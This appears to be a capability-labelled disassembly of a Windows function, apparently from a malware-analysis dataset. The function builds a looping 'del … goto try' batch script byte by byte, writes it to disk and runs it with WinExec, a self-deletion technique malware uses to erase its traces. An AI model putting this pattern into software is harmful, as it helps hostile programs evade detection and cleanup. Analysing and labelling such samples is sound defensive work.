Function at 0x4980b8
Capabilities:
Create process on windows
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, 0x28
push 0
push 0
dec ecx
jne 0x4980c1
push ecx
xchg dword [ebp - 4], ecx
push ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4983f4
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_FreeLibrary_1
mov eax, dword [ebp - 4]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_FreeLibrary_1
lea eax, [ebp - 0x20]
mov ecx, 0x49840c
mov edx, dword [ebp - 0xc]
call fcn.00404ff4
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc]
call fcn.0040a12c
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 8]
call fcn.0040a12c
mov eax, 0x400
call fcn.00402b50
mov dword [ebp - 0x10], eax
mov eax, 0x200
call fcn.00402b50
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov byte [eax], 0x3a
mov eax, dword [ebp - 0x10]
mov byte [eax + 1], 0x74
mov eax, dword [ebp - 0x10]
mov byte [eax + 2], 0x72
mov eax, dword [ebp - 0x10]
mov byte [eax + 3], 0x79
mov eax, dword [ebp - 0x10]
mov byte [eax + 4], 0xd
mov eax, dword [ebp - 0x10]
mov byte [eax + 5], 0xa
mov eax, dword [ebp - 0x10]
mov byte [eax + 6], 0x64
mov eax, dword [ebp - 0x10]
mov byte [eax + 7], 0x65
mov eax, dword [ebp - 0x10]
mov byte [eax + 8], 0x6c
mov eax, dword [ebp - 0x10]
mov byte [eax + 9], 0x20
mov eax, dword [ebp - 0x10]
mov byte [eax + 0xa], 0x22
mov eax, dword [ebp - 0x10]
mov byte [eax + 0xb], 0
lea edx, [ebp - 0x24]
xor eax, eax
call fcn.00402f98
lea eax, [ebp - 0x24]
mov edx, 0x49841c
call fcn.00404fb0
mov eax, dword [ebp - 0x24]
call fcn.004051a8
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_lstrcatA
push 0x498424
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_lstrcatA
lea edx, [ebp - 0x28]
xor eax, eax
call fcn.00402f98
lea eax, [ebp - 0x28]
mov edx, 0x49840c
call fcn.00404fb0
mov eax, dword [ebp - 0x28]
call fcn.004051a8
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_lstrcatA
mov eax, dword [ebp - 0x14]
mov byte [eax], 0x22
mov eax, dword [ebp - 0x14]
mov byte [eax + 1], 0x20
mov eax, dword [ebp - 0x14]
mov byte [eax + 2], 0x67
mov eax, dword [ebp - 0x14]
mov byte [eax + 3], 0x6f
mov eax, dword [ebp - 0x14]
mov byte [eax + 4], 0x74
mov eax, dword [ebp - 0x14]
mov byte [eax + 5], 0x6f
mov eax, dword [ebp - 0x14]
mov byte [eax + 6], 0x20
mov eax, dword [ebp - 0x14]
mov byte [eax + 7], 0x74
mov eax, dword [ebp - 0x14]
mov byte [eax + 8], 0x72
mov eax, dword [ebp - 0x14]
mov byte [eax + 9], 0x79
mov eax, dword [ebp - 0x14]
mov byte [eax + 0xa], 0
mov eax, dword [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_lstrcatA
push 0x49843c
push dword [ebp - 0xc]
push 0x498448
lea edx, [ebp - 0x30]
mov al, byte [ebp + 8]
call fcn.004984b8
push dword [ebp - 0x30]
lea eax, [ebp - 0x2c]
mov edx, 4
call fcn.00405068
mov eax, dword [ebp - 0x2c]
call fcn.004051a8
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_lstrcatA
lea edx, [ebp - 0x34]
xor eax, eax
call fcn.00402f98
lea eax, [ebp - 0x34]
mov edx, 0x498454
call fcn.00404fb0
mov eax, dword [ebp - 0x34]
call fcn.004051a8
push eax
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_lstrcpyA
push 0x49845c
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_lstrcatA
push 0x498468
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_lstrcatA
push 0x498478
lea eax, [ebp - 0x13c]
mov edx, dword [ebp - 0x14]
call fcn.00403964
lea edx, [ebp - 0x13c]
lea eax, [ebp - 0x3c]
call fcn.00404f4c
push dword [ebp - 0x3c]
push 0x498484
lea eax, [ebp - 0x38]
mov edx, 3
call fcn.00405068
mov eax, dword [ebp - 0x38]
call fcn.004051a8
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_lstrcatA
push 0x498494
lea eax, [ebp - 0x144]
mov edx, dword [ebp - 0x14]
call fcn.00404ee0
push dword [ebp - 0x144]
push 0x4984ac
lea eax, [ebp - 0x140]
mov edx, 3
call fcn.00405068
mov eax, dword [ebp - 0x140]
call fcn.004051a8
push eax
mov eax, dword [ebp - 0x10]
push eax
call sub.kernel32.dll_lstrcatA
push 0
push 0
push 2
push 0
push 0
push 0x40000000
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0xffffffff
je 0x4983b2
push 0
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x148]
mov edx, dword [ebp - 0x10]
call fcn.00404ee0
mov eax, dword [ebp - 0x148]
call fcn.00404fa8
push eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_WriteFile_1
mov eax, dword [ebp - 0x18]
push eax
call sub.kernel32.dll_CloseHandle_1
push 0
mov eax, dword [ebp - 0x14]
push eax
call sub.kernel32.dll_WinExec
mov eax, dword [ebp - 0x14]
call fcn.00402b80
mov eax, dword [ebp - 0x10]
call fcn.00402b80
xor eax, eax
call fcn.00404c4c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4983fb
lea eax, [ebp - 0x148]
mov edx, 3
call fcn.00404d0c
lea eax, [ebp - 0x3c]
mov edx, 8
call fcn.00404d0c
ret